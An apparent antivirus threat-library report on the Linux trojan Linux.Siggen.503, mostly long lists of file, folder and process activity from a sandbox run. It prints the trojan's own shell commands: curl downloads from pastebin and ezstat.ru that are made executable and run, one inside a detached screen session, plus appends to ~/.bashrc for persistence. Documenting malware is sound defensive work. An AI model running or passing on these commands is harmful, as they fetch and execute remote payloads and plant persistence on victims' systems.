Linux.Siggen.503

Technical Information

To ensure autorun and distribution:

Creates or modifies the following files:

/etc/init.d/screen-cleanup.dpkg-new

Malicious functions:

Launches itself as a daemon

Manages services:

systemctl daemon-reload

Launches processes:

sh -c cd /var/opt; curl https://pastebin.com/raw/XBHmfYfJ -O &> output; chmod 777 XBHmfYfJ; ./XBHmfYfJ &> output; rm -rf output;
chmod 777 XBHmfYfJ
./XBHmfYfJ
rm -rf output
sh -c yum install screen -y &> output; apt-get install screen -y &> output;
apt-get install screen -y
sh -c printf 'if [[ -n $SSH_CONNECTION ]] ; then' >> ~/.bashrc; printf
sh -c cd /etc; curl https://pastebin.com/raw/uG1gVAem -O &> output; chmod 777 uG1gVAem; sed -i 's/ //' uG1gVAem; screen -dmSL local ./uG1gVAem &> output;
chmod 777 uG1gVAem
sed -i s/ // uG1gVAem
sh -c curl http://ezstat.ru/15HQN6.tar &> output
sh -c rm -rf output /var/opt/output
rm -rf output /var/opt/output
/usr/bin/dpkg --print-foreign-architectures
/usr/lib/apt/methods/http
/usr/bin/dpkg --assert-multi-arch
/bin/sh -c /usr/bin/apt-listchanges --apt || test $? -ne 10
/usr/bin/apt-listchanges --apt
/bin/sh -c /usr/sbin/dpkg-preconfigure --apt || true
/usr/sbin/dpkg-preconfigure --apt
locale charmap
/bin/sh ##-c stty -a 2>/dev/null
stty -a
/usr/bin/dpkg --status-fd 17 --unpack --auto-deconfigure /var/cache/apt/archives/screen_4.2.1-3+deb8u1_amd64.deb
dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/screen_4.2.1-3+deb8u1_amd64.deb
dpkg-deb ##/var/cache/apt/archives/screen_4.2.1-3+deb8u1_amd64.deb /var/lib/dpkg/tmp.ci
tar -x -f - --warning=no-timestamp
/var/lib/dpkg/tmp.ci/preinst install
dpkg-deb ##/var/cache/apt/archives/screen_4.2.1-3+deb8u1_amd64.deb
rm -rf -- /var/lib/dpkg/tmp.ci
/var/lib/dpkg/info/systemd.postinst triggered /etc/init.d
/var/lib/dpkg/info/install-info.postinst triggered /usr/share/info
update-info-dir
rm -f /usr/share/info/dir.old
cp /usr/share/info/dir /usr/share/info/dir.old
rm -f /usr/share/info/dir
find /usr/share/info -type f
install-info /usr/share/info/bc.info.gz /usr/share/info/dir
sh -c gzip -cd </usr/share/info/bc.info.gz
gzip -cd
install-info /usr/share/info/nano.info.gz /usr/share/info/dir
sh -c gzip -cd </usr/share/info/nano.info.gz
install-info /usr/share/info/gettext.info.gz /usr/share/info/dir
sh -c gzip -cd </usr/share/info/gettext.info.gz
install-info /usr/share/info/gzip.info.gz /usr/share/info/dir
sh -c gzip -cd </usr/share/info/gzip.info.gz

Kills the following processes:

/usr/lib/apt/methods/http

Performs operations with the file system:

Modifies file access rights:

/var/log/apt/term.log
/var/log/apt/history.log
/var/lib/dpkg/tmp.ci/conffiles
/var/lib/dpkg/tmp.ci/control
/var/lib/dpkg/tmp.ci/md5sums
/var/lib/dpkg/tmp.ci/postinst
/var/lib/dpkg/tmp.ci/postrm
/var/lib/dpkg/tmp.ci/preinst
/var/lib/dpkg/tmp.ci/prerm
/etc/init.d/screen-cleanup.dpkg-new
/etc/screenrc.dpkg-new
/usr/bin/screen.dpkg-new
/usr/lib/tmpfiles.d/screen-cleanup.conf.dpkg-new
/usr/share/doc/screen.dpkg-new
/usr/share/doc/screen/FAQ.gz.dpkg-new
/usr/share/doc/screen/NEWS.Debian.gz.dpkg-new
/usr/share/doc/screen/NEWS.gz.dpkg-new
/usr/share/doc/screen/README.dpkg-new
/usr/share/doc/screen/README.Debian.gz.dpkg-new
/usr/share/doc/screen/TODO.dpkg-new
/usr/share/doc/screen/changelog.Debian.gz.dpkg-new
/usr/share/doc/screen/changelog.gz.dpkg-new
/usr/share/doc/screen/copyright.dpkg-new
/usr/share/doc/screen/examples.dpkg-new
/usr/share/doc/screen/examples/etcscreenrc.dpkg-new
/usr/share/doc/screen/examples/screenrc.dpkg-new
/usr/share/doc/screen/fdpat.ps.gz.dpkg-new
/usr/share/doc/screen/terminfo.dpkg-new
/usr/share/doc/screen/terminfo/8bits.dpkg-new
/usr/share/doc/screen/terminfo/README.dpkg-new
/usr/share/doc/screen/terminfo/README.terminfo.dpkg-new
/usr/share/doc/screen/terminfo/checktc.c.gz.dpkg-new
/usr/share/doc/screen/terminfo/screencap.dpkg-new
/usr/share/doc/screen/terminfo/screeninfo.src.dpkg-new
/usr/share/doc/screen/terminfo/test.txt.gz.dpkg-new
/usr/share/doc/screen/terminfo/tetris.c.dpkg-new
/usr/share/doc/screen/window_to_display.ps.gz.dpkg-new
/usr/share/info/screen.info-1.gz.dpkg-new
/usr/share/info/screen.info-2.gz.dpkg-new
/usr/share/info/screen.info-3.gz.dpkg-new
/usr/share/info/screen.info-4.gz.dpkg-new
/usr/share/info/screen.info-5.gz.dpkg-new
/usr/share/info/screen.info-6.gz.dpkg-new
/usr/share/info/screen.info.gz.dpkg-new
/usr/share/lintian/overrides/screen.dpkg-new
/usr/share/man/man1/screen.1.gz.dpkg-new
/usr/share/screen.dpkg-new
/usr/share/screen/utf8encodings.dpkg-new
/usr/share/screen/utf8encodings/01.dpkg-new
/usr/share/screen/utf8encodings/02.dpkg-new
/usr/share/screen/utf8encodings/03.dpkg-new
/usr/share/screen/utf8encodings/04.dpkg-new
/usr/share/screen/utf8encodings/18.dpkg-new
/usr/share/screen/utf8encodings/19.dpkg-new
/usr/share/screen/utf8encodings/a1.dpkg-new
/usr/share/screen/utf8encodings/bf.dpkg-new
/usr/share/screen/utf8encodings/c2.dpkg-new
/usr/share/screen/utf8encodings/c3.dpkg-new
/usr/share/screen/utf8encodings/c4.dpkg-new
/usr/share/screen/utf8encodings/c6.dpkg-new
/usr/share/screen/utf8encodings/c7.dpkg-new
/usr/share/screen/utf8encodings/c8.dpkg-new
/usr/share/screen/utf8encodings/cc.dpkg-new
/usr/share/screen/utf8encodings/cd.dpkg-new
/usr/share/screen/utf8encodings/d6.dpkg-new
/var/lib/dpkg/info/screen.list-new

Creates folders:

/var/lib/dpkg/tmp.ci
/usr/share/doc/screen.dpkg-new
/usr/share/doc/screen/examples.dpkg-new
/usr/share/doc/screen/terminfo.dpkg-new
/usr/share/screen.dpkg-new
/usr/share/screen/utf8encodings.dpkg-new

Deletes folders:

/var/lib/dpkg/tmp.ci"
/etc/init.d/screen-cleanup.dpkg-new"
/etc/init.d/screen-cleanup.dpkg-tmp"
/etc/screenrc.dpkg-new"
/etc/screenrc.dpkg-tmp"
/usr/bin/screen.dpkg-new"
/usr/bin/screen.dpkg-tmp"
/usr/lib/tmpfiles.d/screen-cleanup.conf.dpkg-new"
/usr/lib/tmpfiles.d/screen-cleanup.conf.dpkg-tmp"
/usr/share/doc/screen.dpkg-new"
/usr/share/doc/screen.dpkg-tmp"
/usr/share/doc/screen/FAQ.gz.dpkg-new"
/usr/share/doc/screen/FAQ.gz.dpkg-tmp"
/usr/share/doc/screen/NEWS.Debian.gz.dpkg-new"
/usr/share/doc/screen/NEWS.Debian.gz.dpkg-tmp"
/usr/share/doc/screen/NEWS.gz.dpkg-new"
/usr/share/doc/screen/NEWS.gz.dpkg-tmp"
/usr/share/doc/screen/README.dpkg-new"
/usr/share/doc/screen/README.dpkg-tmp"
/usr/share/doc/screen/README.Debian.gz.dpkg-new"
/usr/share/doc/screen/README.Debian.gz.dpkg-tmp"
/usr/share/doc/screen/TODO.dpkg-new"
/usr/share/doc/screen/TODO.dpkg-tmp"
/usr/share/doc/screen/changelog.Debian.gz.dpkg-new"
/usr/share/doc/screen/changelog.Debian.gz.dpkg-tmp"
/usr/share/doc/screen/changelog.gz.dpkg-new"
/usr/share/doc/screen/changelog.gz.dpkg-tmp"
/usr/share/doc/screen/copyright.dpkg-new"
/usr/share/doc/screen/copyright.dpkg-tmp"
/usr/share/doc/screen/examples.dpkg-new"
/usr/share/doc/screen/examples.dpkg-tmp"
/usr/share/doc/screen/examples/etcscreenrc.dpkg-new"
/usr/share/doc/screen/examples/etcscreenrc.dpkg-tmp"
/usr/share/doc/screen/examples/screenrc.dpkg-new"
/usr/share/doc/screen/examples/screenrc.dpkg-tmp"
/usr/share/doc/screen/fdpat.ps.gz.dpkg-new"
/usr/share/doc/screen/fdpat.ps.gz.dpkg-tmp"
/usr/share/doc/screen/terminfo.dpkg-new"
/usr/share/doc/screen/terminfo.dpkg-tmp"
/usr/share/doc/screen/terminfo/8bits.dpkg-new"
/usr/share/doc/screen/terminfo/8bits.dpkg-tmp"
/usr/share/doc/screen/terminfo/README.dpkg-new"
/usr/share/doc/screen/terminfo/README.dpkg-tmp"
/usr/share/doc/screen/terminfo/README.terminfo.dpkg-new"
/usr/share/doc/screen/terminfo/README.terminfo.dpkg-tmp"
/usr/share/doc/screen/terminfo/checktc.c.gz.dpkg-new"
/usr/share/doc/screen/terminfo/checktc.c.gz.dpkg-tmp"
/usr/share/doc/screen/terminfo/screencap.dpkg-new"
/usr/share/doc/screen/terminfo/screencap.dpkg-tmp"
/usr/share/doc/screen/terminfo/screeninfo.src.dpkg-new"
/usr/share/doc/screen/terminfo/screeninfo.src.dpkg-tmp"
/usr/share/doc/screen/terminfo/test.txt.gz.dpkg-new"
/usr/share/doc/screen/terminfo/test.txt.gz.dpkg-tmp"
/usr/share/doc/screen/terminfo/tetris.c.dpkg-new"
/usr/share/doc/screen/terminfo/tetris.c.dpkg-tmp"
/usr/share/doc/screen/window_to_display.ps.gz.dpkg-new"
/usr/share/doc/screen/window_to_display.ps.gz.dpkg-tmp"
/usr/share/info/screen.info-1.gz.dpkg-new"
/usr/share/info/screen.info-1.gz.dpkg-tmp"
/usr/share/info/screen.info-2.gz.dpkg-new"
/usr/share/info/screen.info-2.gz.dpkg-tmp"
/usr/share/info/screen.info-3.gz.dpkg-new"
/usr/share/info/screen.info-3.gz.dpkg-tmp"
/usr/share/info/screen.info-4.gz.dpkg-new"
/usr/share/info/screen.info-4.gz.dpkg-tmp"
/usr/share/info/screen.info-5.gz.dpkg-new"
/usr/share/info/screen.info-5.gz.dpkg-tmp"
/usr/share/info/screen.info-6.gz.dpkg-new"
/usr/share/info/screen.info-6.gz.dpkg-tmp"
/usr/share/info/screen.info.gz.dpkg-new"
/usr/share/info/screen.info.gz.dpkg-tmp"
/usr/share/lintian/overrides/screen.dpkg-new"
/usr/share/lintian/overrides/screen.dpkg-tmp"
/usr/share/man/man1/screen.1.gz.dpkg-new"
/usr/share/man/man1/screen.1.gz.dpkg-tmp"
/usr/share/screen.dpkg-new"
/usr/share/screen.dpkg-tmp"
/usr/share/screen/utf8encodings.dpkg-new"
/usr/share/screen/utf8encodings.dpkg-tmp"
/usr/share/screen/utf8encodings/01.dpkg-new"
/usr/share/screen/utf8encodings/01.dpkg-tmp"
/usr/share/screen/utf8encodings/02.dpkg-new"
/usr/share/screen/utf8encodings/02.dpkg-tmp"
/usr/share/screen/utf8encodings/03.dpkg-new"
/usr/share/screen/utf8encodings/03.dpkg-tmp"
/usr/share/screen/utf8encodings/04.dpkg-new"
/usr/share/screen/utf8encodings/04.dpkg-tmp"
/usr/share/screen/utf8encodings/18.dpkg-new"
/usr/share/screen/utf8encodings/18.dpkg-tmp"
/usr/share/screen/utf8encodings/19.dpkg-new"
/usr/share/screen/utf8encodings/19.dpkg-tmp"
/usr/share/screen/utf8encodings/a1.dpkg-new"
/usr/share/screen/utf8encodings/a1.dpkg-tmp"
/usr/share/screen/utf8encodings/bf.dpkg-new"
/usr/share/screen/utf8encodings/bf.dpkg-tmp"
/usr/share/screen/utf8encodings/c2.dpkg-new"
/usr/share/screen/utf8encodings/c2.dpkg-tmp"
/usr/share/screen/utf8encodings/c3.dpkg-new"
/usr/share/screen/utf8encodings/c3.dpkg-tmp"
/usr/share/screen/utf8encodings/c4.dpkg-new"
/usr/share/screen/utf8encodings/c4.dpkg-tmp"
/usr/share/screen/utf8encodings/c6.dpkg-new"
/usr/share/screen/utf8encodings/c6.dpkg-tmp"
/usr/share/screen/utf8encodings/c7.dpkg-new"
/usr/share/screen/utf8encodings/c7.dpkg-tmp"
/usr/share/screen/utf8encodings/c8.dpkg-new"
/usr/share/screen/utf8encodings/c8.dpkg-tmp"
/usr/share/screen/utf8encodings/cc.dpkg-new"
/usr/share/screen/utf8encodings/cc.dpkg-tmp"
/usr/share/screen/utf8encodings/cd.dpkg-new"
/usr/share/screen/utf8encodings/cd.dpkg-tmp"
/usr/share/screen/utf8encodings/d6.dpkg-new"
/usr/share/screen/utf8encodings/d6.dpkg-tmp"
/lib/systemd/system/screen-cleanup.service.dpkg-new"
/lib/systemd/system/screen-cleanup.service.dpkg-tmp"
/usr/share/doc/screen/patchlevel.h.gz.dpkg-new"
/usr/share/doc/screen/patchlevel.h.gz.dpkg-tmp"
/var/lib/dpkg/tmp.ci/control"
/var/lib/dpkg/tmp.ci/postrm"
/var/lib/dpkg/tmp.ci/md5sums"
/var/lib/dpkg/tmp.ci/preinst"
/var/lib/dpkg/tmp.ci/conffiles"
/var/lib/dpkg/tmp.ci/prerm"
/var/lib/dpkg/tmp.ci/postinst"
/etc.dpkg-tmp"
/etc/init.d.dpkg-tmp"
/etc/tmpfiles.d.dpkg-tmp"
/lib.dpkg-tmp"
/lib/systemd.dpkg-tmp"
/lib/systemd/system.dpkg-tmp"
/usr.dpkg-tmp"
/usr/bin.dpkg-tmp"
/usr/lib.dpkg-tmp"
/usr/lib/tmpfiles.d.dpkg-tmp"
/usr/share.dpkg-tmp"
/usr/share/doc.dpkg-tmp"
/usr/share/info.dpkg-tmp"
/usr/share/lintian.dpkg-tmp"
/usr/share/lintian/overrides.dpkg-tmp"
/usr/share/man.dpkg-tmp"
/usr/share/man/man1.dpkg-tmp"
/var/lib/dpkg/reassemble.deb"

Creates symlinks:

/lib/systemd/system/screen-cleanup.service.dpkg-new"
/usr/share/doc/screen/patchlevel.h.gz.dpkg-new"

Creates or modifies files:

/var/opt"/output
/etc"/output
/var/lib/dpkg/lock
/var/cache/apt/archives/lock
/var/cache/apt/archives/partial/screen_4.2.1-3+deb8u1_amd64.deb
/var/lib/apt/listchanges.db
/var/log/apt/term.log
/var/log/apt/history.log
/var/lib/dpkg/updates/tmp.i
/var/lib/dpkg/triggers/Lock
/var/log/dpkg.log
/var/lib/dpkg/tmp.ci"/conffiles
/var/lib/dpkg/tmp.ci/conffiles
/var/lib/dpkg/tmp.ci"/control
/var/lib/dpkg/tmp.ci/control
/var/lib/dpkg/tmp.ci"/md5sums
/var/lib/dpkg/tmp.ci/md5sums
/var/lib/dpkg/tmp.ci"/postinst
/var/lib/dpkg/tmp.ci/postinst
/var/lib/dpkg/tmp.ci"/postrm
/var/lib/dpkg/tmp.ci/postrm
/var/lib/dpkg/tmp.ci"/preinst
/var/lib/dpkg/tmp.ci/preinst
/var/lib/dpkg/tmp.ci"/prerm
/var/lib/dpkg/tmp.ci/prerm
/var/lib/dpkg/tmp.ci//control
/var/lib/dpkg/tmp.ci//postrm
/var/lib/dpkg/tmp.ci//md5sums
/var/lib/dpkg/tmp.ci//preinst
/var/lib/dpkg/tmp.ci//conffiles
/var/lib/dpkg/tmp.ci//prerm
/var/lib/dpkg/tmp.ci//postinst
/dev/pts/0
/etc/screenrc.dpkg-new
/usr/bin/screen.dpkg-new
/usr/lib/tmpfiles.d/screen-cleanup.conf.dpkg-new
/usr/share/doc/screen.dpkg-new
/usr/share/doc/screen/FAQ.gz.dpkg-new
/usr/share/doc/screen/NEWS.Debian.gz.dpkg-new
/usr/share/doc/screen/NEWS.gz.dpkg-new
/usr/share/doc/screen/README.dpkg-new
/usr/share/doc/screen/README.Debian.gz.dpkg-new
/usr/share/doc/screen/TODO.dpkg-new
/usr/share/doc/screen/changelog.Debian.gz.dpkg-new
/usr/share/doc/screen/changelog.gz.dpkg-new
/usr/share/doc/screen/copyright.dpkg-new
/usr/share/doc/screen/examples.dpkg-new
/usr/share/doc/screen/examples/etcscreenrc.dpkg-new
/usr/share/doc/screen/examples/screenrc.dpkg-new
/usr/share/doc/screen/fdpat.ps.gz.dpkg-new
/usr/share/doc/screen/terminfo.dpkg-new
/usr/share/doc/screen/terminfo/8bits.dpkg-new
/usr/share/doc/screen/terminfo/README.dpkg-new
/usr/share/doc/screen/terminfo/README.terminfo.dpkg-new
/usr/share/doc/screen/terminfo/checktc.c.gz.dpkg-new
/usr/share/doc/screen/terminfo/screencap.dpkg-new
/usr/share/doc/screen/terminfo/screeninfo.src.dpkg-new
/usr/share/doc/screen/terminfo/test.txt.gz.dpkg-new
/usr/share/doc/screen/terminfo/tetris.c.dpkg-new
/usr/share/doc/screen/window_to_display.ps.gz.dpkg-new
/usr/share/info/screen.info-1.gz.dpkg-new
/usr/share/info/screen.info-2.gz.dpkg-new
/usr/share/info/screen.info-3.gz.dpkg-new
/usr/share/info/screen.info-4.gz.dpkg-new
/usr/share/info/screen.info-5.gz.dpkg-new
/usr/share/info/screen.info-6.gz.dpkg-new
/usr/share/info/screen.info.gz.dpkg-new
/usr/share/lintian/overrides/screen.dpkg-new
/usr/share/man/man1/screen.1.gz.dpkg-new
/usr/share/screen.dpkg-new
/usr/share/screen/utf8encodings.dpkg-new
/usr/share/screen/utf8encodings/01.dpkg-new
/usr/share/screen/utf8encodings/02.dpkg-new
/usr/share/screen/utf8encodings/03.dpkg-new
/usr/share/screen/utf8encodings/04.dpkg-new
/usr/share/screen/utf8encodings/18.dpkg-new
/usr/share/screen/utf8encodings/19.dpkg-new
/usr/share/screen/utf8encodings/a1.dpkg-new
/usr/share/screen/utf8encodings/bf.dpkg-new
/usr/share/screen/utf8encodings/c2.dpkg-new
/usr/share/screen/utf8encodings/c3.dpkg-new
/usr/share/screen/utf8encodings/c4.dpkg-new
/usr/share/screen/utf8encodings/c6.dpkg-new
/usr/share/screen/utf8encodings/c7.dpkg-new
/usr/share/screen/utf8encodings/c8.dpkg-new
/usr/share/screen/utf8encodings/cc.dpkg-new
/usr/share/screen/utf8encodings/cd.dpkg-new
/usr/share/screen/utf8encodings/d6.dpkg-new
/lib/systemd/system/screen-cleanup.service.dpkg-new
/usr/share/doc/screen/patchlevel.h.gz.dpkg-new
/var/lib/dpkg/info/screen.list-new
/usr/share/info/dir.old
/usr/share/info/dir

Deletes files:

/var/opt"/output"
/etc"/output"
/var/opt/output"
/var/lib/dpkg/reassemble.deb"
/"/control"
/usr/share/info/dir.old"
/usr/share/info/dir"

Locks files:

/var/cache/debconf/config.dat
/var/cache/debconf/passwords.dat
/var/cache/debconf/templates.dat

Network activity:

Establishes connection:

<LOCAL_DNS_SERVER>

HTTP GET requests:

ft#.##.######.#######ian/pool/main/s/screen/screen_4.2.1-3%2bdeb8u1_amd64.deb

DNS ASK:

ft#.##.debian.org

Other:

Collects CPU information

Collects RAM information

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations